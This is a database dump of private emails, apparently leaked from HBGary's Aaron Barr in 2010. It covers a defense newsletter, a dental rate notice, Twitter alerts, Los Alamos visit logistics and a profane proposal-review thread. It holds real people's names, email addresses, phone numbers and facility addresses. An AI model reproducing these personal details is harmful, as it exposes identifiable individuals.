alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        Operation: Sound Off! Asking for Grant Votes\r\n		Defense Department Efficiencies Initiative Spreads to Contest\r\n        Coverage from LandWarNet 2010\r\n        \r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nMonthly Luncheon09/10/2010Tysons Corner, VA details ...AFCEA NOVA Monthly LuncheonUSAF, Air Force, Warfighter Integration, CIO09/10/2010Sheraton Premiere, McLean, VA details ...Measuring Performance in IT ProgramsMeasuring Performance in IT Programs09/16/2010Bethesda-North Marriott and Conferece Center, Bethesda, MD details ...AFCEA DC Monthly Panel Series09/27/2010Pentagon City Ritz Carlton, Arlington, VA details ...AFCEA Belvoir Luncheon09/29/2010Ft. Belvoir Officers Club, Ft. Belvoir, VA details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n			\r\n			\r\nFeature Articles\r\nPower-Saving Initiative Also Saves Greenbacks\r\nComputer companies reveal how much energy office equipment wastes when it is left running overnight and how the Power IT Down initiative aims to help.  [Read more...]\r\nNIST Evaluates Smart Phone-based Language Translators\r\nThe National Institute of Standards and Technology is evaluating three smart phone-based Pashto and Dari language translation devices the U.S. Defense Department is developing for use in Afghanistan. [Read more...] \r\n\r\n\r\n News Briefs\r\nNational Cybersecurity Policy at the Starting Line\r\n  Representatives from Lawrence Livermore National Laboratory and Georgetown University\'s Institute for Law, Science and Global Security teamed to compile a report that could create a cybersecurity road map. &ldquo;Reboot: Defining Paths to Cyber Policy, Law and Technology Solutions&rdquo; asserts that the United States needs to determine a clear set of priorities to evaluate and thwart potential threats to the U.S. cyber domain and to take legislative action and anticipatory measures. The writers of the document would like to see the road map focus on how to expand research in the field and amplify the national dialogue on cybersecurity issues. The report also recommends establishing the necessary roles and responsibilities for handling issues at the national and local levels.\r\nThe Shape of Things to Come\r\n  \r\nCollaborating MIT and Harvard researchers are combining origami and electrical engineering to create the ultimate reconfigurable robot. Their goal is to build a flexible automaton that could shape-shift into the robot needed for a specific mission, such as a boat or an aircraft. The scientists have developed algorithms that can figure out how to reproduce a three-dimensional shape by folding a sheet of semirigid material with a distinctive pattern of flexible creases. The approach involves creating a flat sheet of material with tiny robotic muscles, or actuators, that can fold into useful objects. The actuators comprise a shape-memory alloy. Scientists have yet to work out all of the kinks, but work continues.\r\nSupercomputer Energy Efficiency Pushes Limits\r\n  According to the Defense Advanced Research Projects Agency (DARPA), the Ubiquitous High Performance Computing (UHPC) program will create an innovative, revolutionary next generation of high-performance computer systems that improve energy, computing and productivity efficiency. The agency initiated the program to address performance issues with power consumption and programming complexity on the U.S. Defense Department&rsquo;s current systems. DARPA officials note that the UHPC program directly addresses major priorities expressed in President Barack Obama&rsquo;s &ldquo;Strategy for American Innovation.&rdquo; The project will develop computer architectures and programming models that are up to 1,000 times more efficient, slashing the time required to design and develop complex applications. The UHPC systems prototype is scheduled for completion by 2018.\r\nAristotle Promotes Philosophy of Networking\r\n  The U.S. Defense Department&rsquo;s science and technology professionals now have their own secure social network. Called Aristotle, the restricted e-environment enables scientists, engineers, researchers and program managers to collaborate not only by networking with other individuals but also by linking to topics, projects and documents that are available on the site. Members of the professional network can organize and share information with colleagues worldwide to gather, prioritize and employ information. In addition, Aristotle provides situational awareness of the department&rsquo;s science and technology community and grants access to the Defense Technical Information Center&rsquo;s reports and research summaries.\r\nSecuring Information in Motion\r\n  An information-sharing security solution has been added to the U.S. General Services Administration&rsquo;s schedule of products and services available to government agencies. The High-Speed Guard delivers simultaneous, bidirectional information transfers between domains at speeds up to 9 gigabits per second while maintaining a strict security posture. In challenging information sharing environments, the High-Speed Guard reviews and releases sensitive data while sustaining full transfer rates on dual-processor commercial servers running Red Hat Enterprise Linux 5 with a strict security-enhanced Linux policy. Raytheon Company developed the technology. \r\n\r\nSIGNAL Online Exclusive Articles\r\n\r\n\r\n\r\nWhen Security Leads, Compliance Follows\r\n  Public and private organizations should pay close attention to cybersecurity regulations in the legislative pipeline and adhere both to the rules and intent.  [Read more...]\r\n\r\nEureka Streams Fosters Employee Communications \r\n  An open-source, business-oriented, social networking tool helps organizations\' employees be more productive by making it easier to share information. The tool helps employees build their careers and make more informed decisions.  [Read more...]\r\n\r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n    \r\n      \r\n      August 2010\r\n      Focus: Information Security\r\n      No one needs a primer on the importance of information security. It touches virtually every aspect of defense and homeland security issues, and its reach extends throughout military, civilian government, private-sector and public activities. Public awareness is high, especially in areas that are potential homeland security targets. However, much of the threat remains unknown to most as its nature continues to change. SIGNAL&rsquo;s August issue looks at many of the issues that define information security along with possible solutions to this dynamic challenge.\r\nFocus: Sensors\r\n  Electronics have been used as an intelligence collection device as soon as they appeared on the battlefield. Today, the information revolution has left its mark on sensor technology. No longer the purview of intelligence, sensors are now providing a range of information to diverse users. Increased technology sophistication has led to new capabilities that in turn have changed the modus operandi for individuals and organizations alike. SIGNAL&rsquo;s August focus on sensors looks at some of the new technologies emerging from laboratories that offer even greater changes in the near future.\r\nRead these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         \r\n       \r\n         Next Month in SIGNAL Magazine\r\n         Focus: Europe\r\n           Viewed in the Cold War as the battleground for the Free World, Europe has emerged with a new identity and a different security role. Its nations&rsquo; militaries are more diverse than ever, yet they share the common challenge of maintaining their effectiveness amid severe fiscal constraints. While NATO remains the dominant security alliance in Europe, the European Union is developing its own defense force for international operations. Meanwhile, NATO is striving to build a modern operational architecture for out-of-area missions not yet envisioned. SIGNAL Magazine&rsquo;s September issue examines many of these concerns as it looks at Europe&rsquo;s role in global security.\r\n         Focus: SOUTHCOM\r\n         Often overlooked as homeland security and warfighting dominate headlines, the U.S. Southern Command (SOUTHCOM) nonetheless serves an important role in active national security measures. The command is responsible for dealing with threats from south of the border, and recent developments have not lightened its load. Drug and human smuggling is up, and terrorism remains a threat both abroad and in the United States. SIGNAL&rsquo;s September issue looks at the key issues facing SOUTHCOM.\r\n         \r\n         Community\r\n         \r\n          &nbsp;\r\n         &nbsp;\r\n				  \r\n				\r\n			\r\n\r\n			\r\n			  \r\n					\r\n			\r\n\r\n			\r\n					\r\n				\r\n				\r\n					\r\n			\r\n			Published by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n			\r\n				\r\n				\r\n					\r\n				\r\n			 \r\n\r\n			\r\n				\r\n					\r\n					\r\n						\r\n							\r\n								Copyright &copy; 2010 AFCEA International. All rights reserved.\r\n			    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n			 \r\n								\r\n			  \r\n			    \r\n			      FORWARD TO A FRIEND\r\n			      \r\n			  UNSUBSCRIBE\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			 \r\n		\r\n	\r\n \r\n\r\n\r\n \r\n   var _gaq = _gaq || []; \r\n  _gaq.push([\'_setAccount\', \'UA-1095862-1\']); \r\n  _gaq.push([\'_trackPageview\']); \r\n \r\n  (function() { \r\n    var ga = document.createElement(\'script\'); ga.type = \'text/javascript\'; ga.async = true; \r\n    ga.src = (\'https:\' == document.location.protocol ? \'https://ssl\' : \'http://www\') + \'.google-analytics.com/ga.js\'; \r\n    var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(ga, s); \r\n  })(); \r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8616,'aaron_hbgary_com/8616.html'),(10390,'2010-08-16','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008103.M242531P14101Q5245.eml','\"Inc. HBGARY\" <All@hbgary.com>,\"Inc. HBGARY\" <All@hbgary.com>','Delta Dental Rate Increase','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello to all,\r\n\r\n&nbsp;\r\n\r\nEffective October 1, 2010 your monthly rate for Delta Dental\r\nwill increases to the following.\r\n\r\n&nbsp;\r\n\r\nOne Party &nbsp;-&nbsp; Current rates is $47.72&nbsp; New\r\nRate is $49.39\r\n\r\nTwo Party &#8211; Current Rate is &nbsp;$102.33 New Rate is$105.91\r\n\r\nTree Party + - Current Rate $57.30&nbsp; New Rate is $162.98\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15112,'aaron_hbgary_com/15112.html'),(10391,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008103.M457685P14101Q5246.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','Can you call?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 11:00 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: sections\r\n\r\nDude... Ken all day.  Why me?\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> I did this update over the weekend. Will update the image in your\r\nwrite\r\n> up.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 9:49 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: sections\r\n>\r\n> I have the overall solution as well as the technical services section.\r\n>\r\n> Please review and comment.  Some data is sparse in the tables.  If you\r\n> can help fill some in great.\r\n>\r\n> Also I need past performance to fill out the following table related\r\nto\r\n> each function.  Who can do that?\r\n>\r\n> \r\n> \r\n',847,'aaron_hbgary_com/847.html'),(10392,'2010-08-16','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008103.M671000P14101Q5247.eml','federal@hbgary.com','HBGary is now following you on Twitter!','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0;  font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; }\r\n  p { line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;}\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hi, HBGary Federal.\r\n\r\nHBGary (HBGaryPR) is now following your tweets on Twitter. \r\n\r\n\r\nA little information about HBGary: \r\n\r\n\r\n  \r\n    \r\n    \r\n      \r\n        333 followers\r\n        139 tweets\r\n        following 386 people\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\nYou may follow HBGary as well by clicking on the \"follow\" button on their profile.If you believe HBGary is engaging in abusive behavior on Twitter, you may report HBGary for spam.\r\nHBGary may not appear in your follower list. HBGary may have decided to stop following you, or the account may have been suspended for a Terms of Service violation.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',236,'aaron_hbgary_com/236.html'),(10393,'2010-08-16','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008103.M862534P14101Q5248.eml','federal@hbgary.com','Sarah Edwards is now following you on Twitter!','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0;  font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; }\r\n  p { line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;}\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hi, HBGary Federal.\r\n\r\nSarah Edwards (iamevltwin) is now following your tweets on Twitter. \r\n\r\n\r\nA little information about Sarah Edwards: \r\n\r\n\r\n  \r\n    \r\n    \r\n      \r\n        49 followers\r\n        187 tweets\r\n        following 146 people\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\nYou may follow Sarah Edwards as well by clicking on the \"follow\" button on their profile.If you believe Sarah Edwards is engaging in abusive behavior on Twitter, you may report Sarah Edwards for spam.\r\nSarah Edwards may not appear in your follower list. Sarah Edwards may have decided to stop following you, or the account may have been suspended for a Terms of Service violation.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',14760,'aaron_hbgary_com/14760.html'),(10394,'2010-08-16','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008104.M832933P14101Q5249.eml','ted@hbgary.com,ted@hbgary.com,','RE: HBGary & LANL Visit','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMap from airport to LANL\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, David A\r\n[mailto:dataylor@lanl.gov] \r\nSent: Monday, August 16, 2010 10:28 AM\r\nTo: Jerry McClure; ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com; Ira Entis; Trujillo, Susie G;\r\nVigil-Sandoval, Joyce S; Wight, Richard Lee; Grimm-Fogle, Gayla; Lopez, Leon M;\r\nMartinez, Timmy L\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is the form, Address,\r\ndirections, and contacts.\r\n\r\n&nbsp;\r\n\r\nFly into Albuquerque NM. It is\r\nalso possible to fly into Santa Fe, NM, which about 1 hour closer.\r\n\r\nFrom Albuquerque (ABQ), about\r\n2 hrs.:\r\n\r\nFrom ABQ Airport take Sunport\r\nto I-25\r\n\r\nGet on I-25 N to Santa Fe\r\n\r\nTurn North onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to\r\nPojoaque, NM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\nFrom Santa Fe, about 1 hour\r\n\r\nTake Airport Rd to NM 599\r\nRelief Route\r\n\r\nTurn Left onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to\r\nPojoaque, NM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWork sites include (map blast\r\nworthy):\r\n\r\nShaw Building (this is where I\r\nsit)\r\n\r\n335 Central Park Square\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nTRK (this is where testing\r\nwill be done)\r\n\r\n195 East Rd., Suite 103\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nContacts:\r\n\r\nDavid Taylor (IT)\r\n\r\n505 667 6884 Office\r\n\r\n505 231 7489 Cell\r\n\r\n505 665 2502 Fax\r\n\r\n&nbsp;\r\n\r\nTom Tran (DBA)\r\n\r\n505 665 0734 Office\r\n\r\n&nbsp;\r\n\r\nJim Gore (Sys Admin)\r\n\r\n505 665 5850 Office\r\n\r\n&nbsp;\r\n\r\nShaw Office (IT Off)\r\n\r\nSuzie Trujillo\r\n\r\n505 655 3310\r\n\r\n&nbsp;\r\n\r\nTRK Office\r\n\r\nJoyce Vigil-Sandoval (DBA Off)\r\n505 655 1407\r\n\r\nGala Grimm-Fogle (Sys Admin Off)\r\n505 665 5779\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jerry McClure\r\n[mailto:Jerry.McClure@agilex.com] \r\nSent: Sunday, August 15, 2010 7:54 AM\r\nTo: Taylor, David A; ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com; Ira Entis; Trujillo, Susie G\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid - need you\r\nto send the form you mention below.&nbsp; Also can you send the hotel information,\r\nairport to fly into, and address of the facility they are to report to on\r\nMonday 8/23 morning.&nbsp; I could not find this information that Sree\r\nused.&nbsp; This way&nbsp;HbGary can make their reservations.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed - The start\r\ndate&nbsp;everyone is&nbsp;shooting for is Monday 8/23 which means your team\r\nflies in Sunday evening.&nbsp; Below is information your team needs to send\r\nto&nbsp;Susie (cced) and other information you&nbsp;should be aware\r\nof.&nbsp;&nbsp;David will send the form for the laptop and information\r\nrequested above.&nbsp; We felt it would be wise to have a telecom on Thursday\r\n8/19 with LANL, your team, and myself to discuss last minute details.&nbsp;\r\nRight now we have 3pm EST&nbsp;on Thursday 8/19 for the telecom.&nbsp; Let me\r\nknow if this works for you and I will set up a telecom number for everyone to\r\ndial into.&nbsp; Let me know if there is anything else you need to make 8/23\r\nhappen.Thanks&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor,\r\nDavid A [dataylor@lanl.gov]\r\nSent: Thursday, August 12, 2010 7:02 PM\r\nTo: Jerry McClure\r\nCc: Ira Entis; Trujillo, Susie G\r\nSubject: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is a form that each of\r\nthe HBGary guys will need to fill out to bring their laptops in to use to\r\ncollect notes.\r\n\r\nPlease note that the logic on the\r\n4 questions for &#8220;PED user must respond to the following statements&#8221; below name stuff\r\nis very backwards.\r\n\r\nA PED is the laptop.\r\n\r\nThey will need the make, model\r\nnumber, and serial number on the description of it.\r\n\r\nThey will need to sign it.\r\n\r\nWe will enter the location.\r\n\r\n&nbsp;\r\n\r\nFor badging:\r\n\r\nI will need name, Birthdates,\r\naddress, phone number and Social Security Number.\r\n\r\nThis can go directly to Suzie, she\r\nis CC&#8217;d.\r\n\r\nAs they are US citizens, they will\r\nonly need their driver lic. When they go to get badged.\r\n\r\n&nbsp;\r\n\r\nI will make set up a meeting time\r\nfor Thursday to conference call.\r\n\r\nI would like you to provide a\r\nconference call number, it would save me some trouble.\r\n\r\n&nbsp;\r\n\r\nYou should just use the info on\r\nlodging and directions we gave Shree.\r\n\r\nI am assuming they would arrive up\r\nhere on 8/23/10 at 8:00AM.\r\n\r\nThey should find me, and I will\r\nhelp them get badged and then take them over to TRK (where they will work).\r\n\r\nI can reached at my desk at that\r\ntime, but will have my cell on for them.\r\n\r\n&nbsp;\r\n\r\nThanks for your help.\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884 Off\r\n\r\n505-231-7489 Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10121,'aaron_hbgary_com/10121.html'),(10395,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008105.M200665P14101Q5250.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: sections','Dude.  Errr.  I already want to punch h in the neck.  He wants to\r\nreplace my mission graphic with some BS NG graphic.  The fuckers.....\r\nErrrr....twitch...\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 1:16 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Can you call?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 11:00 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: sections\r\n>\r\n> Dude... Ken all day.  Why me?\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n>  wrote:\r\n>\r\n>> I did this update over the weekend. Will update the image in your\r\n> write\r\n>> up.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 16, 2010 9:49 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: sections\r\n>>\r\n>> I have the overall solution as well as the technical services section.\r\n>>\r\n>> Please review and comment.  Some data is sparse in the tables.  If you\r\n>> can help fill some in great.\r\n>>\r\n>> Also I need past performance to fill out the following table related\r\n> to\r\n>> each function.  Who can do that?\r\n>>\r\n>> \r\n>> \r\n',6224,'aaron_hbgary_com/6224.html'),(10396,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008105.M429872P14101Q5251.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','Breathe \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 11:48 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: sections\r\n\r\nDude.  Errr.  I already want to punch h in the neck.  He wants to\r\nreplace my mission graphic with some BS NG graphic.  The fuckers.....\r\nErrrr....twitch...\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 1:16 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Can you call?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 11:00 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: sections\r\n>\r\n> Dude... Ken all day.  Why me?\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n>  wrote:\r\n>\r\n>> I did this update over the weekend. Will update the image in your\r\n> write\r\n>> up.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 16, 2010 9:49 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: sections\r\n>>\r\n>> I have the overall solution as well as the technical services\r\nsection.\r\n>>\r\n>> Please review and comment.  Some data is sparse in the tables.  If\r\nyou\r\n>> can help fill some in great.\r\n>>\r\n>> Also I need past performance to fill out the following table related\r\n> to\r\n>> each function.  Who can do that?\r\n>>\r\n>> \r\n>> \r\n',11406,'aaron_hbgary_com/11406.html'),(10397,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008110.M368773P14101Q5252.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','Good start, here are my comments \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 9:49 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: sections\r\n\r\nI have the overall solution as well as the technical services section.\r\n\r\nPlease review and comment.  Some data is sparse in the tables.  If you\r\ncan help fill some in great.\r\n\r\nAlso I need past performance to fill out the following table related to\r\neach function.  Who can do that?\r\n\r\n',11342,'aaron_hbgary_com/11342.html'),(10398,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008110.M704061P14101Q5253.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: sections','I think I have made a fluffy kitten cry and this is my punishment.\r\n\r\nAaron\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 1:49 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Breathe\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 11:48 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: sections\r\n>\r\n> Dude.  Errr.  I already want to punch h in the neck.  He wants to\r\n> replace my mission graphic with some BS NG graphic.  The fuckers.....\r\n> Errrr....twitch...\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 16, 2010, at 1:16 PM, \"Winterfeld, Steven P (TASC)\"\r\n>  wrote:\r\n>\r\n>> Can you call?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 16, 2010 11:00 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: Re: sections\r\n>>\r\n>> Dude... Ken all day.  Why me?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> I did this update over the weekend. Will update the image in your\r\n>> write\r\n>>> up.\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 16, 2010 9:49 AM\r\n>>> To: Winterfeld, Steven P (TASC)\r\n>>> Subject: sections\r\n>>>\r\n>>> I have the overall solution as well as the technical services\r\n> section.\r\n>>>\r\n>>> Please review and comment.  Some data is sparse in the tables.  If\r\n> you\r\n>>> can help fill some in great.\r\n>>>\r\n>>> Also I need past performance to fill out the following table related\r\n>> to\r\n>>> each function.  Who can do that?\r\n>>>\r\n>>> \r\n>>> \r\n',2079,'aaron_hbgary_com/2079.html'),(10399,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008110.M891904P14101Q5254.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: sections','Thanks I will review when I am in a better place.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 1:52 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Good start, here are my comments\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, 